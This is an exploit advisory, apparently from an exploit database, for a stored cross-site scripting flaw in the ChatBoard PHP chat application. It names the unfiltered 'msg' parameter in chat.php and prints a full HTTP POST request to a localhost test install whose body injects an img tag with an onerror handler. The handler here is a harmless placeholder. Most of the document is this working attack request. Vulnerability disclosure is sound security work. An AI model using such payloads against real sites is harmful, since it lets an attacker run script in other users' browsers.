# Exploit Title: Ultrabenosaurus ChatBoard - Stored XSS # Date: 2016-06-14 # Exploit Author: HaHwul # Exploit Author Blog: www.hahwul.com # Vendor Homepage: http://ultrabenosaurus.ninja/ # Software Link: https://github.com/Ultrabenosaurus/ChatBoard/archive/master.zip # Tested on: Debian [wheezy] # CVE : none ### Vulnerability Point chat.php is not filtering special character -> file: ./chat.php -> param: msg ### Vulnerability Code POST /vul_test/ChatBoard/__original/chat.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://127.0.0.1/vul_test/ChatBoard/__original/?chat Content-Length: 10 Cookie: PHPSESSID=3oecem8o5c8975dcufbb0moqn5 Connection: keep-alive msg=654<img src="z" onerror=zz>asd